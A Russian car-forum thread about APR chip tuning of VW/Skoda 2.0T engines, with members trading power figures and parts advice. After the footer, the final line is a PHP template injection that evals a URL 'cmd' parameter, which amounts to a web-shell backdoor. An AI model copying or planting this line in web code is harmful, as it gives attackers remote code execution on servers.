+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя
Показано с 1 по 10 из 128

Тема: Где чиповать


Комбинированный просмотр

  1. #1
    GTI-Racing kosmos3m is on a distinguished road Аватар для kosmos3m
    Регистрация
    25.07.2010
    Откуда
    Москва
    Машина
    Golf gti mk6
    Сообщений
    40
    только сейчас узнал, что есть русский сайт))
    http://www.goapr.ru/

  2. #2
    GTI-Racing KOT is a name known to all KOT is a name known to all KOT is a name known to all KOT is a name known to all KOT is a name known to all KOT is a name known to all Аватар для KOT
    Регистрация
    25.04.2010
    Откуда
    Москва, Красногорск
    Машина
    GTI V
    Сообщений
    1,784
    Цитата Сообщение от kosmos3m Посмотреть сообщение
    только сейчас узнал, что есть русский сайт))
    http://www.goapr.ru/
    После чип-тюнинга первого уровня максимальная мощность двигателя 2.0T FSI увеличивается до 322 л.с. и 321 lb-ft крутящего момента

    это то, о чем я подумал?))))))))))))))) 321 момента и 322 лощади?))))))))
    Скорость это смерть, а всему виной жажда скорости...

  3. #3
    Супер Модератор BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of BON has much to be proud of Аватар для BON
    Регистрация
    08.11.2006
    Откуда
    Москва
    Машина
    Skoda
    Сообщений
    15,564
    Цитата Сообщение от TOK Посмотреть сообщение

    это то, о чем я подумал?))))))))))))))) 321 момента и 322 лощади?))))))))

    В ньютонах крутящий момент будет выглядеть примерно как 430 Нм
    песок сыпется....не останавливайтесь на достигнутом !

  4. #4
    GTI-Racing KOT is a name known to all KOT is a name known to all KOT is a name known to all KOT is a name known to all KOT is a name known to all KOT is a name known to all Аватар для KOT
    Регистрация
    25.04.2010
    Откуда
    Москва, Красногорск
    Машина
    GTI V
    Сообщений
    1,784
    Цитата Сообщение от BON Посмотреть сообщение
    В ньютонах крутящий момент будет выглядеть примерно как 430 Нм
    значит я не правильно понял))) Но всеравно на стоке столько снять мне кажется это анрил)))) или мотор разложишь через пару тысяч
    Скорость это смерть, а всему виной жажда скорости...

  5. #5
    GTI-Racing GIII will become famous soon enough Аватар для GIII
    Регистрация
    04.06.2007
    Откуда
    Москва
    Машина
    skoda octavia scout
    Сообщений
    920
    Цитата Сообщение от TOK Посмотреть сообщение
    значит я не правильно понял))) Но всеравно на стоке столько снять мне кажется это анрил)))) или мотор разложишь через пару тысяч
    У меня на StII+ APR (чип, впуск, выпуск 76мм, насос, кулер), установленном на 200 лысный сток, намеряли 260 лыс и 420 Нм. Езжу так около 30тыс - пока все нормально, тьфу-тьфу
    Skoda Octavia Scout APR StII: Intercooler APR, Carbonio Intake APR StI, Exhaust Downpipe APR, Bilstein B6, H&R Swaybars, brakes front S5, brakes rear S3, SRE Performance Clutch Kit, VWR Short Shifter

  6. #6
    GTI-Racing KOT is a name known to all KOT is a name known to all KOT is a name known to all KOT is a name known to all KOT is a name known to all KOT is a name known to all Аватар для KOT
    Регистрация
    25.04.2010
    Откуда
    Москва, Красногорск
    Машина
    GTI V
    Сообщений
    1,784
    турба штатная? 76 мм не многовато?
    Скорость это смерть, а всему виной жажда скорости...

  7. #7
    GTI-Racing GIII will become famous soon enough Аватар для GIII
    Регистрация
    04.06.2007
    Откуда
    Москва
    Машина
    skoda octavia scout
    Сообщений
    920
    Цитата Сообщение от TOK Посмотреть сообщение
    турба штатная? 76 мм не многовато?
    Турба штатная.
    Выпуск сначала поставил турбобек APR 3 дюйма кватро, но не понравился звук. Оставил даунпайп APR, остальное переделал кастом, но 3 дюйма оставил. Я решил, что если APR ставит выпуск 3 дюйма с моей прошивкой, то сужать не надо - раз пиндосы так запроектировали, то так и д.б.
    Skoda Octavia Scout APR StII: Intercooler APR, Carbonio Intake APR StI, Exhaust Downpipe APR, Bilstein B6, H&R Swaybars, brakes front S5, brakes rear S3, SRE Performance Clutch Kit, VWR Short Shifter

  8. #8
    GTI-Racing senka is a splendid one to behold senka is a splendid one to behold senka is a splendid one to behold senka is a splendid one to behold senka is a splendid one to behold senka is a splendid one to behold Аватар для senka
    Регистрация
    22.01.2009
    Откуда
    Москва
    Машина
    VW Golf 5 E30
    Сообщений
    1,095
    Цитата Сообщение от GIII Посмотреть сообщение
    У меня на StII+ APR (чип, впуск, выпуск 76мм, насос, кулер), установленном на 200 лысный сток, намеряли 260 лыс и 420 Нм. Езжу так около 30тыс - пока все нормально, тьфу-тьфу
    Леш, а ты кулер уже внедрил? замеряться будешь еще раз?

  9. #9
    Цитата Сообщение от GIII Посмотреть сообщение
    У меня на StII+ APR (чип, впуск, выпуск 76мм, насос, кулер), установленном на 200 лысный сток, намеряли 260 лыс и 420 Нм. Езжу так около 30тыс - пока все нормально, тьфу-тьфу
    Интересно! :)
    Я пока чип залил и впуск заказал, планирую даунпайп у них купить, а выпуск для начала штатный оставить. Если не будет устраивать, то переделаю на кастом.
    А кулер тоже апр или от с3? Где всё делаешь?

  10. #10
    GTI-Racing GIII will become famous soon enough Аватар для GIII
    Регистрация
    04.06.2007
    Откуда
    Москва
    Машина
    skoda octavia scout
    Сообщений
    920
    Сейчас кулер от S3. Делаю все в Диги-Теке.
    Приехал долгожданный кулер APR (здоровый как чемодан ))). Но как стало известно, что этой осенью у нас R-ка появится, я решил его не внедрять - будет лежать на балконе до часа Х ))) Чего его туда-сюда перекидывать.
    Так что свой gti-проект я остановил. Буду готовиться к R-ке. Туда подойдет кулер, насос, даунпайп. Думаю, мой кастом катбек тоже подойдет (кроме оконечной банки, конечно), а не подойдет - переделаю. Впуск не подойдет, придется заказывать.
    Skoda Octavia Scout APR StII: Intercooler APR, Carbonio Intake APR StI, Exhaust Downpipe APR, Bilstein B6, H&R Swaybars, brakes front S5, brakes rear S3, SRE Performance Clutch Kit, VWR Short Shifter

+ Ответить в теме
Страница 1 из 2 1 2 ПоследняяПоследняя

Похожие темы

  1. Чиповать или не чиповать
    от IRBIS555 в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 19
    Последнее сообщение: 02.10.2023, 05:50
  2. Двигатель 2.0 Чиповать?
    от Wartan в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 1
    Последнее сообщение: 04.05.2008, 10:27
  3. ЧИПОВАТЬ?
    от GrooveNK в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 14
    Последнее сообщение: 21.12.2006, 12:05

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}